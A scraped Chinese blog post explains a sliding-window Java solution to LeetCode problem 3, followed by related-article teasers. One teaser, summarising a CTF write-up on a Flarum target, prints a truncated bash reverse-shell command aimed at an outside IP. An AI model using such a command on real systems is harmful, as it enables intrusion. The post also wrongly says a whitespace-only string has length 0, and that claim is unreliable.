leetcode 3 无重复字符最长串

news/2024/10/4 17:32:12

leetcode 3 无重复字符最长串

image-20240831122601492

思路

使用滑动窗口,建两个整型变量lp和rp,分别代表左边界指针和右边界指针,整型temp储存当前字串长度,整形max储存当前最长长度,然后从左往右遍历字符串。

解题过程

先将字符串toCharArray转成字符数组m,建一个哈希集合,储存当前已经用过的字符,然后写一个while循环,在循环中主要进行两步操作: 1.如果右边界字符在哈希集合中已经存在,说明这个左边界已经讨论结束,lp++,然后将m[lp]从集合中移除掉,temp--。 2.如果右边界字符在哈希集合中不存在,那么将m[rp]加入集合,temp++,max=Math.max(max,temp)。 同时需要注意进行while循环需要一定的条件,即字符串不为空(如果是空字符串chars.add(m[0])会报错)。 并且这里判断字符串不为空要用isEmpty()函数,而不能用length>0(如果字符串里全是空格占位符,那length也是0)

复杂度

  • 时间复杂度: O(n)

分析:左右边界都在动,且while循环边界条件是右边界到头。那么最坏情况下,右边界一直动,并且左边界一直跟着动到右边界左侧与其相邻,且HashSet的contains,remove,add复杂度都是o(1),因此总复杂度为O(2n)*O(1),即复杂度为O(n)。

class Solution {public int lengthOfLongestSubstring(String s) {int lp=0,rp=1,max=1,temp=1;HashSet<Character> chars = new HashSet<Character>();char[] m=s.toCharArray();int len=m.length;if(s.isEmpty()==false){chars.add(m[0]);while (rp<len){if(chars.contains(m[rp])){chars.remove(m[lp]);lp++;temp--;}else {chars.add(m[rp]);rp++;temp++;max=Math.max(max,temp);}}return max;}else return 0;}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/54975.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

jenkins动态切换环境

一.代码层实现动态切换 1.首先在conftest.py下声明pytest_addoption钩子函数,写法如下def pytest_addoption(parser):# 设置要接收的命令行参数parser.addoption("--env", default="prod", choices=[pre, uat, prod, test],help="命令行参数,--env设…

vue3 jsx响应式渲染变量

1、JSX渲染变量 vue在html代码区渲染变量使用双大括号{{ }},jsx在渲染是单大括号{}另外,这里随便记一下一个简单有点绕的业务逻辑 2、多个变量影响判断三元表达式根据上图,想要的效果分别是:订单状态是否支付,显示对应状态 已支付的订单是否申请开发票,显示对应状态;且已…

春秋云镜 Flarum

春秋云镜 Flarum访问发现是个Flarum CMS框架.使用rockyou.txt爆破administrator得到密码1chris,登录后台 由于题目提示Flarum上执行任意命令,搜到了P牛的文章 照着打反序列化. 执行命令 ./phpggc -p tar -b Monolog/RCE6 system "bash -c bash -i >& /dev/tcp/123.…

Qt/C++地址转坐标/坐标转地址/逆地址解析/支持百度高德腾讯和天地图

一、前言说明 地址和经纬度坐标转换的功能必须在线使用,一般用在导航需求上,比如用户输入起点地址和终点地址,查询路线后,显示对应的路线,而实际上各大地图厂家默认支持的是给定经纬度坐标来查询(百度地图支持传入地址),但是你让用户输入经纬度坐标是不可能的,他肯定不…

Ethercat设备数据 转IEC61850项目案例

目录 1 案例说明 1 2 VFBOX网关工作原理 1 3 准备工作 2 5 设置网关采集ETHERCAT数据 5 6 用IEC61850协议转发数据 7 7 网关使用多个逻辑设备和逻辑节点的方法 9 8 安装NPCAP 10 9 案例总结 11 1 案例说明设置网关采集EtherCAT设备数据 把采集的数据转成IEC61850协议转发给其他…

若依如何修改logo

若依在我看来封装得很完善,但是也包了很多层,想修改logo找了好久找不对,做个笔记下次才好找 修改标题旁的logo title的logo图片存放在src>assets>logo文件下,修改的位置在layout>components>sidebar下的logo.vue修改URL上的logo